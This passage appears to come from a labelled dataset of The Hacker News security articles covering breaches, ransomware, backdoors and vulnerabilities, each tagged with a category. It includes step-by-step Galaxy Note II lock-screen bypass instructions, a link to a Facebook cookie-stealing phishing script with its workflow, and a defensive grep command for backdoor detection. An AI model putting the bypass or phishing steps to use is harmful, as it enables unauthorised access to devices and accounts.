Attackers were interested in targeting 11 organizations based in South Korea and two entities in China including the Sejong Institute, Korea Institute For Defense Analyses (KIDA), South Korea's Ministry of Unification, Hyundai Merchant Marine and The supporters of Korean Unification.

",Malware
Samsung Galaxy Note II lock screen bypass vulnerability,https://thehackernews.com/2013/03/samsung-galaxy-note-ii-lock-screen.html,"iOS was in the news lately for a series of security mishaps, but this time android back in scene. A security flaw discovered by Terence Eden on the Galaxy Note II with Android 4.1.2 that allows hackers to briefly bypass the phone's lock screen without needing a password.

By hitting ""emergency call"" then ""emergency contacts"" then holding the home button, the main home screen becomes visible for around a second just enough time to load an app, before reverting back to the lock screen.


Not all apps will open in this manner, a demo video shows that Google Play does not respond. Reportedly, Eden contacted Samsung roughly five days ago but has yet to hear back. He said that he has not tested any other Samsung devices to see if they are also affected.


The flaw appears to be similar to a screen lock vulnerability in newer Apple devices, including the iPhone 5.

Steps to follow:
Lock the device with a ""secure"" pattern, PIN, or password.
Activate the screen.
Press ""Emergency Call"".
Press the ""ICE"" button on the bottom left.
Hold down the physical home key for a few seconds and then release.
The phone's home screen will be displayed - briefly.
While the home screen is displayed, click on an app or a widget.
The app or widget will launch.
If the widget is ""direct dial"" the phone will start ringing.
Using this method it could also be possible to load up email or SMS apps for long enough to get an overview of sensitive messages.

",Vulnerability
MacKeeper Zero Day Remote Code Execution Vulnerability,https://thehackernews.com/2015/05/mackeeper-antivirus.html,"A controversial piece of security and maintenance software for Mac OS X computers, known as MacKeeper, has been found to be vulnerable to a critical remote code execution vulnerability.

MacKeeper antivirus software for Mac OS X is designed to improve Mac performance and security, but it is infamous for its noisy ""clean up your Mac"" pop-under ads that stress the need for a system cleanup. If you try to close the ad, the software will prompt you to ""Leave Page/Stay on This Page"" dialogues.

The vulnerability details were disclosed on Friday after the patch release, which allows an attacker to execute remotely malicious commands with root privileges on Mac OS X systems when a victim visits specially crafted Web pages.

MacKeeper Versions Earlier to 3.4.1 are Affected

The remote code execution flaw, affecting the versions earlier to 3.4.1, caused due to the way MacKeeper malware removal software handles its custom URLs, security researchers at SecureMac explained in an advisory.

A remote attacker tricking the victim into visiting a maliciously crafted web page could exploit the flaw and execute arbitrary code with root privilege on the compromised system, with ""little to no user interaction"" required.

Proof-of-Concept Exploit Released

Security researcher Braden Thomas Posted reported the glitch last Thursday with a proof-of-concept (PoC) exploit that demonstrates the attack in action.

The proof-of-concept exploit published by Thomas on Twitter takes advantage of a lack of input validation by MacKeeper and automatically executes a command to uninstall MacKeeper from the system when the victim lands on a malicious web page.

""If the user hasn't previously authenticated, they will be prompted to enter their username and password"" the advisory states, ""however the text that appears for the authentication dialogue can be manipulated as part of the exploit … so the user might not realise the consequences of this action.""

Vulnerability Patched, Update Released

At the moment SecureMac exposed the details of the glitch, the vulnerability was still zero-day, however since the developers of MacKeeper has released an update, MacKeeper Version 3.4.1, patching the custom URL scheme.

MacKeeper malware removal software has been downloaded more than 20 Million times, which is an enormous number. Therefore in order to be safe, run MacKeeper Update Tracker and install the latest version of MacKeeper, version 3.4.1 or later.

So far, it isn't clear that how this critical vulnerability potentially impacts many users, however, MacKeeper confirmed its users that the company is not aware of any security breach exploiting this vulnerability.

",Vulnerability
GandCrab Ransomware Decryption Tool [All Versions] — Recover Files for Free,https://thehackernews.com/2019/06/gandcrab-ransomware-decryption-tool.html,"Cybersecurity researchers have released an updated version of GandCrab ransomware decryption tool that could allow millions of affected users to unlock their encrypted files for free without paying a ransom to the cybercriminals.

GandCrab is one of the most prolific families of ransomware to date that has infected over 1.5 million computers since it first emerged in January 2018.

Created by BitDefender, the new GandCrab decryption tool [download] can now unlock files encrypted by the latest versions of the ransomware, from 5.0 to 5.2, as well as for the older GandCrab ransomware versions.

As part of the ""No More Ransom"" Project, BitDefender works in partnership with the FBI, Europol, London Police, and several other law enforcement agencies across the globe to help ransomware affected users.

The cybersecurity company in recent months released ransomware removal tools for some older GandCrab versions that helped nearly 30,000 victims recover their data for free, saving roughly $50 million in unpaid ransoms.

The GandCrab creators recently announced retirement of their Ransomware-as-a-Service (RaaS) operations that allowed criminal hackers affiliated with the organized crime extort more than a total of $2 billion from victims.
""While the number is clearly exaggerated, the GandCrab operation was prolific enough to score enough revenue to allow its masters to retire,"" researchers at BitDefender said. ""The shutdown will be followed by deletion of all keys, leaving the victims unable to retrieve the ransomed data even if they do pay a ransom.""

""Launched in January 2018, GandCrab quickly became the go-to tool for hackers for affiliate-based ransomware, holding a 50% share of all the ransomware market by mid-2018,"" the Europol explained.

""Set as a ransomware-as-a-service licensing model, distributors could buy the ransomware on dark web markets and spread it among their victims. In exchange, they would pay 40% of their profits to the GandCrab developers and keep 60% for themselves.""

Most computer viruses make their way into your systems due to lack of simple security practices. Here below, we have listed some simple tips you should always follow to protect your computers against ransomware attacks:

Beware of Phishing Emails — Always be suspicious of uninvited documents sent over an email and never click on links inside those documents unless verifying the source.
Backup Regularly — To always have a tight grip on all your important files and documents, keep a good backup routine in place that makes their copies to an external storage device that is not always connected to your PC.
Keep your Antivirus Software and System Up-to-Date — Always keep your antivirus software and systems updated to protect against the latest threats.

",Malware
OpenX Advertising Network hacked and backdoor Injected,https://thehackernews.com/2013/08/OpenX-Advertising-Malware-backdoor-hacked-trojan.html,"OpenX, a leading provider of digital and mobile advertising technology has accordingly served backdoors that are injected into the Code and allows hackers to control over your Web server.

German tech site the Heise notified Germany's computer emergency response team (CERT) this week about the OpenX Ad Server (2.8.10) backdoor, allowing an attacker to execute any PHP code via the ""eval"" function and could have provided attackers full access to their web sites.
The OpenX team has confirmed the breach and OpenX senior application security engineer Nick Soracco said that two files in the binary distribution of 2.8.10 had been replaced with modified files that contained a remote code execution vulnerability.
The attack code is written in PHP but is hidden in a JavaScript file that is part of a video player plugin (vastServeVideoPlayer) in the OpenX distribution.


This vulnerability only applies to the free downloadable open source product, OpenX Source. It's important to note that all of OpenX's main suite of products, including OpenX Enterprise (ad serving), OpenX Market (exchange) and OpenX Lift (SSP) are not affected.

Server administrators can find out if they are running the OpenX version that contains the backdoor by searching for PHP tags inside .js files. Researchers from Sucuri provide a simple command for this:
$ grep -r --include ""*.js"" '<?php' DIRECTORYWHEREYOURSITEIS
This is not the first time when Opex.org has been hacked. Last year in March 2012, it was hacked and served malware to users.

OpenX has now released OpenX Source v2.8.11, which according to Soracco is a mandatory upgrade for all users of 2.8.10 that should be applied immediately.

",Malware
"LinkedIn Hacker, Wanted by US & Russian, Can be Extradited to Either State",https://thehackernews.com/2017/05/linkedin-russian-hacker-extradition.html,"The alleged Russian hacker, who was arrested by the Czech police in Prague last October on suspicion of massive 2012 data breach at LinkedIn, can be extradited to either the United States or Russia, a Czech court ruled on Tuesday.

Yevgeniy Aleksandrovich Nikulin, a 29-years-old Russian national, is accused of allegedly hacking not just LinkedIn, but also the online cloud storage platform Dropbox, and now-defunct social-networking company Formspring.

However, he has repeatedly denied all accusations.

Nikulin was arrested in Prague on October 5 by the Czech police after Interpol issued an international arrest warrant against him.

Nikulin appeared at a court hearing held inside a high-security prison in Prague on Tuesday and emaciated after eight months in solitary confinement.

The court ruling, pending appeals, left the final decision in the hands of Czech Justice Minister Robert Pelikan, who can approve extradition to one of the countries and block the other.

The United States has requested Nikulin extradition for carrying out hacking attacks and stealing information from several American social networking companies, including LinkedIn, Dropbox, and Formspring, between March 2012 to July 2012.

However, Russia, where Nikulin is facing a lesser charge, has requested his extradition on a separate cyber theft charge of stealing $3,450 via the Internet in 2009.

""Both [case] documents are very, very sufficient for reasonable suspicion that [the offenses] took place and that there is a reason to press charges,"" the judge said.

Hacker Claims FBI Pressured Him to Confess to US Election Hacks

Nikulin's arrest last October came three days before the United States officially accused Russia of hacking the Democratic National Committee (DNC) and interfering in the 2016 presidential election.

Nikulin's lawyer says the case is a set-up, indicating that his arrest may have deeper inclinations than over the cyber attacks against American firms.

The Guardian reported Nikulin was interrogated in Prague, where he currently remains imprisoned, by FBI special agent Jeffrey Miller.

Nikulin wrote in a letter from prison that during his interrogation, Miller reportedly brought up the US election hacking and claimed that the FBI agent pressured him to admit to the DNC hack and promised him good treatment if he accepted to cooperate.

Nikulin wrote in the letter that he rejected the offer. His lawyer indicated that Nikulin was not a hacker, but just a victim of an FBI plot.

""Do you really imagine that a high-ranking FBI agent is going to travel all the way from San Francisco just to read this guy his rights?,"" Nikulin lawyer said.

Mark Galeotti, a senior security researcher at the Institute of International Relations Prague, also showed his concern about an FBI agent traveling to another country to extradite a hacker.

""An FBI agent traveling from the US to a third country as part of an extradition request is extremely unusual and highlights that the case is seen as significant,"" Galeotti said, as quoted by the Guardian.

Nikulin's Russian lawyer stated that his client's life revolved around buying and selling luxury cars, adding that Nikulin was ""useless with computers"" and capable of checking his email and no more and, far from being a super-hacker who can hack big firms.

Tuesday's court hearing was held in a tiny room inside the prison for security reasons, to which Nikulin's Czech lawyer said: ""In all my 25 years as a lawyer, I don't remember any cases being tried inside the prison, including serial killers or organized crime cases.""

Now, the final decision is in the hands of the Czech Justice Minister Robert Pelikan, who is slated to decide where Nikulin will be extradited: The United States, where he can face a ""disproportionately harsh"" sentence of 54 years behind bars, or Russia, where he faces a lesser charge of cyber theft.

",Data_Breaches
Marriott Suffers Second Breach Exposing Data of 5.2 Million Hotel Guests,https://thehackernews.com/2020/03/marriott-data-breach.html,"International hotel chain Marriott today disclosed a data breach impacting nearly 5.2 million hotel guests, making it the second security incident to hit the company in recent years.

""At the end of February 2020, we identified that an unexpected amount of guest information may have been accessed using the login credentials of two employees at a franchise property,"" Marriott said in a statement.

""We believe this activity started in mid-January 2020. Upon discovery, we confirmed that the login credentials were disabled, immediately began an investigation, implemented heightened monitoring, and arranged resources to inform and assist guests.""

The incident exposed guests' personal information such as contact details (name, mailing address, email address, and phone number), loyalty account information (account number and points balance), and additional information such as company, gender, dates of births, room preferences, and language preferences.

The hospitality giant said an investigation into the breach was ongoing, but said there was no evidence that Marriott Bonvoy account passwords or PINs, payment card information, passport information, national IDs, or driver's license numbers were compromised.

Marriott has also set up a self-service online portal for guests to check whether their personal details were involved in the breach, and what categories of information were exposed. In addition, it's offering affected users an option to enroll in IdentityWorks, a personal information monitoring service, free of charge for 1 year.

The company has already taken the step of disabling the passwords of Marriott Bonvoy members who had their information potentially exposed in the incident, and they will be notified to change their passwords during the next login, as well as prompted to enable multi-factor authentication.

The incident follows a 2014 compromise of Starwood Hotels guest reservation database, which was acquired by Marriott in 2016. The breach, which exposed personal details of over 339 million guests globally, wasn't detected until November 2018, leading to it paying a fine of £99 million ($123 million) to the UK's data privacy regulator Information Commissioner's Office under GDPR laws.

""The kinds of information disclosed in the latest Marriott breach might seem innocuous, but it is precisely this kind of intelligence that enables threat actors to better target attacks on consumers,"" Gerrit Lansing, STEALTHbits' Field CTO told The Hacker News via email today.

""Simply: the more I know about you, the better chance I have of fooling you. Compromised credentials remain one of the top vectors for this kind of compromise, and strong authentication before accessing sensitive information one of the best defenses.""

",Cyber_Attack
Unpatched Prototype Pollution Flaw Affects All Versions of Popular Lodash Library,https://thehackernews.com/2019/07/lodash-prototype-pollution.html,"Lodash, a popular npm library used by more than 4 million projects on GitHub alone, is affected by a high severity security vulnerability that could allow attackers to compromise the security of affected services using the library and their respective user base.

Lodash is a JavaScript library that contains tools to simplify programming with strings, numbers, arrays, functions, and objects, helping programmers write and maintain their JavaScript code more efficiently.

Liran Tal, a developer advocate at open-source security platform Snyk, recently published details and proof-of-concept exploit of a high-severity prototype pollution security vulnerability that affects all versions of lodash, including the latest version 4.17.11.

The vulnerability, assigned as CVE-2019-10744, potentially affects a large number of frontend projects due to the popularity of lodash that is being downloaded at a rate of more than 80 million times per month.

Prototype pollution is a vulnerability that enables attackers to modify a web application's JavaScript object prototype, which is like a variable that can be used to store multiple values based on a predefined structure.
These structures and default values are called prototypes that prevent an application from hashing when no values are set.

However, if an attacker manages to inject properties into existing JavaScript language construct prototypes and manipulate these attributes to overwrite or pollute, it could affect how the application processes JavaScript objects through the prototype chain, leading to a denial of service issue or a remote code execution vulnerability.

According to Tal, the function ""defaultsDeep"" in the Lodash library could be tricked into adding or modifying properties of Object.prototype using a constructor payload, which could result in crashing the web application or altering its behavior, depending upon the affected use-case.

It should be noted that exploiting prototype pollution flaws is not easy and require in-depth knowledge on how each targeted web application works.

The researcher responsible reported this vulnerability to John Dalton, maintainer of Lodash, and proposed fixes (pull requests 1 and 2) that will be included in the next version of the library, expected to be released very soon.

If your project also uses on lodash, you are recommended to immediately update your library as soon as the official patch releases or manually apply the fixes.

",Vulnerability
"Millions of DSL modems hacked in Brazil, spread banking malware",https://thehackernews.com/2012/10/millions-of-dsl-modems-hacked-in-brazil.html,"More than 4.5 million DSL modems have been compromised as part of a sustained hacking campaign in Brazil, with the devices spreading malware and malicious web address redirects.

According to the malware analyst at Kaspersky Lab in Brazil, Fabio Assolini. The vulnerability exploited by attackers allowed the use of a script to steal passwords and remotely access the configuration of modems. The attacks was described as ""One firmware vulnerability, two malicious scripts, three hardware manufacturers, 35 malicious DNS servers, thousands of compromised ADSL modems, millions of victims.""

According to Kaspersky, the Brazilian attackers sought to steal users' banking credentials by redirecting users to false versions of popular sites like Facebook or Google and prompting them to install malware. Some 40 DNS servers were set up outside Brazil too in order to serve forged requests for domain names belonging to Brazilian banks.

Nakedsecurity writes,-- The first thing users may have noticed is that they would visit legitimate websites such as Google, Facebook and Orkut (a Google social network which is particularly popular in Brazil) and would be prompted to install software. In the example below, visitors to Google.com.br were invited to install a program called ""Google Defence"" in order to access the ""new Google"".

It remains unclear which modem manufacturers and models are susceptible to the attacks. Assolini said a vulnerability disclosed in early 2011 appears to be caused by a chipset driver included with modems that use hardware from communications chip provider Broadcom. It allows a CSRF attack to take control of the administration panel and capture the password set on vulnerable devices.

After manufacturers issued firmware updates to plug the security hole, the number of compromised modems reduced. However, some 300,000 modems are still thought to be controlled by attackers.

",Vulnerability
Critical RCE Bug Affects Millions of OpenWrt-based Network Devices,https://thehackernews.com/2020/03/openwrt-rce-vulnerability.html,"A cybersecurity researcher today disclosed technical details and proof-of-concept of a critical remote code execution vulnerability affecting OpenWrt, a widely used Linux-based operating system for routers, residential gateways, and other embedded devices that route network traffic.

Tracked as CVE-2020-7982, the vulnerability resides in the OPKG package manager of OpenWrt that exists in the way it performs integrity checking of downloaded packages using the SHA-256 checksums embedded in the signed repository index.

While an 'opkg install' command is invoked on the victim system, the flaw could allow a remote man-in-the-middle attacker in a position to intercept the communication of a targeted device to execute arbitrary code by tricking the system into installing a malicious package or software update without verification.

If exploited successfully, a remote attacker could gain complete control over the targeted OpenWrt network device, and subsequently, over the network traffic it manages.

The three-year-old vulnerability was discovered earlier this year by Guido Vranken from the ForAllSecure software company, who then reported it responsibly to the OpenWrt development team.

In a blog post published today, Vranken explained that when a checksum contains any leading spaces, OPKG on the vulnerable versions of OpenWrt skips checking the integrity of the downloaded package and proceeds to the installation task.


""Due to the fact that opkg on OpenWrt runs as root and has write access to the entire filesystem, arbitrary code could be injected by means of forged .ipk packages with a malicious payload,"" OpenWrt team said.

The remote exploitation of this vulnerability is possible due to the fact that integrity in Linux based software installation mechanisms rely on digitally signing files while downloading files over the insecure HTTP connection.

Besides this, to exploit the vulnerability, attackers also need to serve a malicious package with the size equals to that specified in the package list on downloads.openwrt.org.

According to the project team, OpenWrt versions 18.06.0 to 18.06.6 and 19.07.0, as well as LEDE 17.01.0 to 17.01.7, are affected.

""As a stopgap solution, OpenWRT removed the space in the SHA256sum from the package list shortly after I reported the bug,"" Vranken said.

""However, this is not an adequate long-term solution because an attacker can simply provide an older package list that was signed by the OpenWRT maintainers.""

To fix this issue, affected users are advised to upgrade their device firmware to the latest OpenWrt versions 18.06.7 and 19.07.1, which were released last month.
",Vulnerability
ALERT: This New Ransomware Steals Passwords Before Encrypting Files,https://thehackernews.com/2015/12/ransomware-hacking-password_3.html,"You should be very careful while visiting websites on the Internet because you could be hit by a new upgrade to the World's worst Exploit Kit – Angler, which lets hackers develop and conduct their own drive-by attacks on visitors' computers with relative ease.

Many poorly-secured websites are targeting Windows users with a new ""Cocktail"" of malware that steals users' passwords before locking them out from their machines for ransom.

Yes, stealing Windows users' passwords before encrypting their data and locking their PCs for ransom makes this upgrade to the Angler Exploit Kit nastier.

Here's How the New Threat Works:

Once the Angler exploit kit finds a vulnerable application, such as Adobe Flash, in visitor's computer, the kit delivers its malicious payloads, according to a blog post published by Heimdal Security.

The First Payload infects the victim's PC with a widely used data thief exploit known as Pony that systematically harvests all login usernames and passwords stored on the infected system and then sends them to servers controlled by hackers.

This allows attackers to obtain working logins for a number of websites, e-commerce sites, and even corporate applications, from which the hackers could steal more data.

The Second Payload drops the widely-used CryptoWall 4.0 Ransomware that locks user files until a ransom amount is paid.

Also Read: Anyone can Now Create their Own Ransomware using This Hacking ToolKit

So in short, the new campaign is one of the most sophisticated and effective ransomware attacks to date that uses a combination of:
World's Worst Exploit Kit + World's Worst Password Stealer + World's Worst Ransomware
The campaign is ""extensive"" and originates from a secure hosting environment located in Ukraine, the researchers say. Over 100 web pages in Denmark have been ""injected with the malicious scripts, but the campaign is not limited to Europe.""

Rise in Ransomware Threat

Ransomware attacks hit thousands of Internet users every week, and costs them a total of $18 Million in losses, according to the FBI.

Moreover, a recent report dated back to last month suggested that the Cryptowall family alone has managed to raise over $325 Million in revenue in the past year alone.

Few days back, we also saw Cryptowall 4.0 – the newest version of the world's worst Ransomware – surfacing in the Nuclear exploit kit, one of the most potent exploit kits available in the market for hacking into computers.

Also Read: Free Ransomware Decryption and Malware Removal ToolKit

What Should You do if You get Infected by Cryptowall 4.0?

Once your system gets affected by Cryptowall 4.0, unfortunately, there's not much you can do, as the encryption the ransomware uses is very strong and almost unbreakable.

So, the only options you are left with are:
Format your computer and restore your data from the backup
OR
Pay the Ransom money for decryption key

However, we don't advise anyone to pay ransom as it doesn't guarantee that you will get the decryption keys; as well as this would encourage criminal activities.

Also Read: Ransomware Attacks Threaten Wearable Devices and IoTs

Prevention is the Best Practice

As I previously recommended, one of the best defense measures to mitigate the Ransomware attack is to:
Keep your systems and apps up-to-date
Create awareness within the organizations
Maintain backups of your files on an external hard drive regularly
Most malware and viruses are introduced by clicking on links usually contained in spam emails and opening attachments from unknown sources.

So, DO NOT CLICK on any suspicious link provided in the emails and attachments from unknown sources.

",Malware
The Pirate Bay have nothing to do with Free VPN service,https://thehackernews.com/2012/08/the-pirate-bay-have-nothing-to-do-with.html,"Yesterday someone anonymously posted on Slashdot that The Pirate Bay had launched a free VPN service called PrivitizeVPN (https://freevpn.thepiratebay.se/). But Just today team at torrentfreak confirms on behalf of team The Pirate Bay that its not a Pirate Bay project.

They're just running it as an ad next to the regular download links. According to people close to PrivitizeVPN they are working on the connectivity issues. Till now according to PrivitizeVPN statics more than 45,091,927 users Downloads VPN client after the fake news that ""The Pirate Bay team is going to be making the RIAA angry, with the launch of a new ad-supported VPN service""


",Malware
More than 250 iOS Apps Caught Using Private APIs to Collect Users' Private Data,https://thehackernews.com/2015/10/apple-ios-malware-apps.html,"Apple is cleaning up its iTunes App Store again – for the third time in two months – following another flood of iOS apps that secretly collect users' personal information.

Researchers discovered more than 250 iOS apps that were violating Apple's App Store privacy policy, gathering personal identifiable data from almost one Million users estimated to have downloaded those offending apps.

The offending iOS applications have been pulled out of the App Store after an analytics service SourceDNA reported the issue. After XcodeGhost, this is the second time when Apple is cleaning its App Store.

Malicious iOS Apps Stealing Users' Private Info

The malicious applications were developed using a third-party software development kit (SDK) provided by Youmi, a Chinese advertising company.

Once compiled and distributed on Apple's official App Store, those apps secretly accessed and stored users' personal information, including:
A list of apps installed on the victim's phone
Serial number of iPhones or iPads themselves when they run older versions of iOS
A list of hardware components on iPhones or iPads running newer versions of iOS along with the components' serial numbers
E-mail addresses associated with the users' Apple IDs

How iOS Malware Works?

Youmi's SDK makes use of private Application Programming Interfaces (APIs) to gather users' information that only Apple should be able to view.

The gathered information is then routed through Youmi's servers in China.

What's even More Bothersome?

The app developers who programmed those iOS applications aren't even aware of the fact that their apps are mining users' data.

Also Read: Popular Apple Store Apps Infected with Data-Theft Malware

The app makers that made use of Youmi's SDK may not have knowingly violated Apple's security and privacy guidelines.
""We believe the developers of these apps aren't aware of this since the SDK is delivered in binary form, obfuscated, and user info is uploaded to Youmi's server, not the app's,"" reads SourceDNA's blog post. ""We recommend developers stop using this SDK until this code is removed.""
Apple App Store Review Process Needs to be Stronger

However, the primary concern over here is that even after the discovery of XcodeGhost malware, Apple's App Store review process wasn't able to catch this malicious activity until being alerted by a third party.

It's still unclear how Youmi's SDK did not raise red flags at Apple.

Also Read: Apple Kicks Out some Malicious Ad-Blocker Apps from its Online Store

In an official statement Apple says all offended iOS apps relying on the Youmi's SDK have now been removed. The company is now working with its developers to ensure their applications is in compliance with the App Store guidelines:

We've identified a group of apps that are using a third-party advertising SDK, developed by Youmi, a mobile advertising provider, that uses private APIs to gather private information, such as user email addresses and device identifiers, and route data to its company server.

This is a violation of our security and privacy guidelines. The apps using Youmi's SDK have been removed from the App Store and any new apps submitted to the App Store using this SDK will be rejected. We are working closely with developers to help them get updated versions of their apps that are safe for customers and in compliance with our guidelines back in the App Store quickly.

",Cyber_Attack
eToro Vulnerable to Database Dump,https://thehackernews.com/2012/03/etoro-vulnerable-to-database-dump.html,"eToro Vulnerable to Database Dump

Security Experts at Zsecure.net discover a serious Vulnerability in eToro,which is a financial trading company based in Cyprus and one of the top ranked Forex Trading Service Provider Worldwide. It provides personal online financial services in forex, commodities and stock indices through its own electronic trading platform. eToro is primarily a platform and a software provider; it is not itself a financial broker. Rather, it connects its customers with third party brokerage services provided by various brokers.

About the Vulnerability
zSecure team has detected detected an active vulnerability in eToro's web-portal which allows the complete access to their database and even the complete database can be dumped/downloaded. Since the company is handling the portfolio thousands of trader's keeping their database vulnerable to outside attack is a shame on the part of the company which is said to carrying millions of value of transactions every month.

Website: www.etoro.com
Alert Level: High
Threats: Database Access, Database Dump


",Vulnerability
Iranian nuclear program hit by AC/DC virus,https://thehackernews.com/2012/07/iranian-nuclear-program-hit-by-acdc.html,"A scientist working at the Atomic Energy Organisation of Iran said computer systems have been hit by a cyber-attack which forced them to play AC/DC's Thunderstruck at full volume in the middle of the night.

The attack came to light after a researcher at security firm F-Secure received a string of emails from a Iran's atomic energy organisation.""I am writing you to inform you that our nuclear program has once again been compromised and attacked by a new worm with exploits which have shut down our automation network at Natanz and another facility Fordo near Qom.""

""It does sound really weird,"" he said. ""If there was an attack, why would the attacker announce themselves by playing 'Thunderstruck?"" If true, this attack is the third hacking attempt aimed at Tehran's controversial nuclear program.

It sounds like the AEOI may have been hit with an infrastructure-targeting malware attack, similar to those that have plagued the Middle East since 2010 starting with Stuxnet. However, there's no independent confirmation of this attack's existence.

The scientist reported that the virus came through a simple and cheap open-source project that finds vulnerabilities in software.

See the full e-mail below:
I am writing you to inform you that our nuclear program has once again been compromised and attacked by a new worm with exploits which have shut down our automation network at Natanz and another facility Fordo near Qom.

According to the email our cyber experts sent to our teams, they believe a hacker tool Metasploit was used. The hackers had access to our VPN. The automation network and Siemens hardware were attacked and shut down. I only know very little about these cyber issues as I am scientist not a computer expert.

There was also some music playing randomly on several of the workstations during the middle of the night with the volume maxed out. I believe it was playing 'Thunderstruck' by AC/DC.

",Vulnerability
Facebook app spreading Android Malwares,https://thehackernews.com/2012/02/facebook-app-spreading-android-malwares.html,"Facebook app spreading Android Malwares

Even though Google recently introduced a malware-blocking system called Bouncer to keep the Android Market safe from malicious software, crafty spammers and fraudsters are still managing to find ways around the restrictions to get their software onto users' phones.

Security firm, Sophos have reported that there is malware going around via the Facebook application. The malicious software disguises itself as an Android app named ""any_name.apk"" or ""allnew.apk"" and is sent to Android phones via Facebook's mobile app.

An Android user may receive a Facebook friend request and if the user goes to the requester's profile to check them out, they could be diverted to another web page instead, where the malicious app will be automatically downloaded.

Although Android doesn't by default allow apps to be automatically downloaded, some users choose to turn off this protection in order to have access to apps distributed outside of the Android Market. This kind of malware is similar to clickjacking, which takes place very often on Facebook.

Bouncer is a good first step towards protecting Android users, but regardless of what methods are used to lock down the Android Market, spammers and scammers can always find another way in.

",Malware
"Warning! This Cross-Platform Malware Can Hack Windows, Linux and OS X Computers",https://thehackernews.com/2016/09/cross-platform-malware.html,"Unlike specially crafted malware specifically developed to take advantage of Windows operating system platform, cyber attackers have started creating cross-platform malware for wider exploitation.

Due to the rise in popularity of Mac OS X and other Windows desktop alternatives, hackers have begun designing cross-platform malware modularly for wide distribution.

Cross-platform malware is loaded with specialized payloads and components, allowing it to run on multiple platforms.

One such malware family has recently been discovered by researchers at Kaspersky Lab, which run on all the key operating systems, including Windows, Linux, and Mac OS X.

Stefan Ortloff, a researcher from Kaspersky Lab's Global Research and Analysis Team, first discovered the Linux and Windows variants of this family of cross-platform backdoor, dubbed Mokes, in January this year.

Now, the researcher today confirmed the existence of an OS X variant of this malware family, explaining a technical breakdown of the backdoor in a post on Securelist.

Alike the Linux and Windows variants, the OS X backdoor variant, Backdoor.OSX.Mokes.a, specializes in capturing audio-video, obtaining keystrokes as well as taking screenshots every 30 seconds from a victim's machine.

The variant is written in C++ using Qt, a cross-platform application framework that is widely being used for developing applications to run on various software and hardware platforms.

The backdoor also has the capability to monitor removable storage like when a USB drive is connected to or removed from the computer.

It can also scan the file system for Office documents, including .docx, .doc, .xlsx, and .xls files.

The OS X backdoor can also execute arbitrary commands on the victim's computer from its command and control (C&C) server.

The backdoor establishes an encrypted connection with its command and control server and communicates using AES-256 encryption, which is considered to be a secure encryption algorithm.

Ortloff notes, right after execution, the OS X sample he analyzed copies itself to a handful of locations, including caches that belong to Skype, Dropbox, Google, and Firefox. This behavior is similar to the Linux variant that copied itself to locations belonging to Dropbox and Firefox after execution.

The researcher has not attributed the Mokes backdoor family to any hacking group, state-sponsored hacker or country, nor he detailed about the OS X backdoor's infection vector and how widespread it is.

However, based on the currently available information, the backdoor seems to be a sophisticated piece of malware.

",Malware
Hacking a Facebook Account using Facebook,https://thehackernews.com/2011/08/hacking-facebook-account-using-facebook.html,"Hacking a Facebook Account using Facebook

Many of us know that phishing is also a trick to hack a facebook and session hijicking but hacker can do both at a same time. This vulnerability was happened on Facebook (static FBML) .Example here .
Here you can get that Facebook FBML script : https://pastebin.com/REmvjkRN

What user will do ??
1. Checks for the URL.
2. Checks for which year the page was create.

Is it easy to fool the people?
Yes, by creating a new page in facebook in such way that user has to beliveness.

How its work??
1.Once the user clicks the link the session(cookies) where stolen by the hacker using That he can login any users account without a username and password
2. usually the users will check for the URL once it was known 1 they can enterning a userename and password.
3.After hitting the button Test your Password , Page will reflect a Thankyou Msg and it will popup with a paswd Rank
4. Check ur email spam there must a email on this and it will say that ur password was wrong trying again

Countermeasures:
1.Dont click a new link from a person u don't know..
2.Facebook is not going to ask ur password is strong are not.
3.Some of the virus and worm (scam) was spreading in facebook applications.

Submitter By Noah Franklin
""Hackers can die but Hacking never dies""

",Vulnerability
Cyber attack hits Istanbul Airport passport control system,https://thehackernews.com/2013/07/Istanbul-airport-cyber-attack-virus.html,"The passport control system at Istanbul Ataturk Airport International departure terminal was under cyber attack on Friday, while another airport in the Turkish largest city was also affected.

Passengers stood in lines for hours and plane departures were delayed, because cyberattack shutdown passport control systems at two facilities. Later Authorities has restored the systems.

Few local media said that the passport control system at the Sabiha Gokcen International Airport in Istanbul also broke down due to the malfunction of the Istanbul provincial security directorate's Polnet data system.

They believe that systems were infected using some malwares, But Authorities also investigating if the malware yielded user details from the infected machines or not.

No claim of responsibility or blame was attributed to the alleged cyberattack. However, this is another malware attacks been reported, targeting vital infrastructure so far. Cybersecurity has emerged as an emerging threat to national security in the digital age.

",Malware
Security breach at OAuth based applications can cause Social Media Disaster,https://thehackernews.com/2013/10/security-breach-at-oauth-based.html,"With all the popular social networking websites there on the web, managing them from several different internet browser tabs or windows can get frustrated very quickly.

Besides our own Facebook Page, Twitter account, and Google+ profile, I also manage several others and, YES, I feel the ""time management"" pain!

To make social media management and monitoring easier for users, some very innovative desktop applications and mobile apps were developed to help organize multiple platforms and information sharing across selected networks.

Using online tools like TweetDeck, Seesmic, Hootsuite, Feedly, Twuffer and Buffer App for scheduling and posting directly from a web page has become an absolute necessity especially where Twitter is concerned.

Additionally these apps gives you the ability to post on one or all of your connected accounts together i.e Multiple Facebook, Twitter or Google+ profiles.

These applications don't require your passwords for social media accounts, i.e. It would be really very uncool in sharing your Facebook password with a third-party site. That's where OAuth comes in.

OAuth is an open standard for authorization, which keeps your passwords safe on third-party sites and instead of giving the keys to your entire house, you've given a special key called 'Access token' that only opens one room which you want them to access.
This Access token behaves similar to a session variable which you can store in a cookie to keep the user logged into your website. The only difference is that many services will send back an Access Token and Secret Access Token. You likely need both of these to pull any data from the server.
But more importantly, if somehow that application server gets hacked, your Twitter or Facebook passwords are still safe. But yes, the hackers would still be able to post on your behalf on Facebook or Twitter and can spread spam via tweets, status updates or Direct Inbox messages.

Rather than hacking into individual accounts which is almost impossible, Hacking an OAuth based application server, having millions of users - is enough to damage the Internet and Social Media.

Just yesterday Buffer, the social content management and scheduling service was hacked by cyber crooks, which resulted in a flood of unauthorized posts to user accounts for both Twitter and Facebook.
The security of such apps should be very high, where access to Social media accounts of millions of users are available in bulk after exploiting the vulnerabilities in application server only. Buffer Hack was basically used to spread SPAM messages linked to weight-loss web site.

The main reason why this particular attack is so effective is because:
The victims were essentially receiving messages including links from sources they trust; accounts that they follow on Twitter or Facebook.
A hacker could trigger huge spam messages on all buffer users with one click.
But in the worst scenarios, a malicious attacker could use the same techniques to spam links to Malware infected websites or other such websites serving exploit kits to compromise visitors' computers.

After recovering for Security Breach, Buffer said on Sunday that they have encrypted all OAuth access tokens in the database for further security.

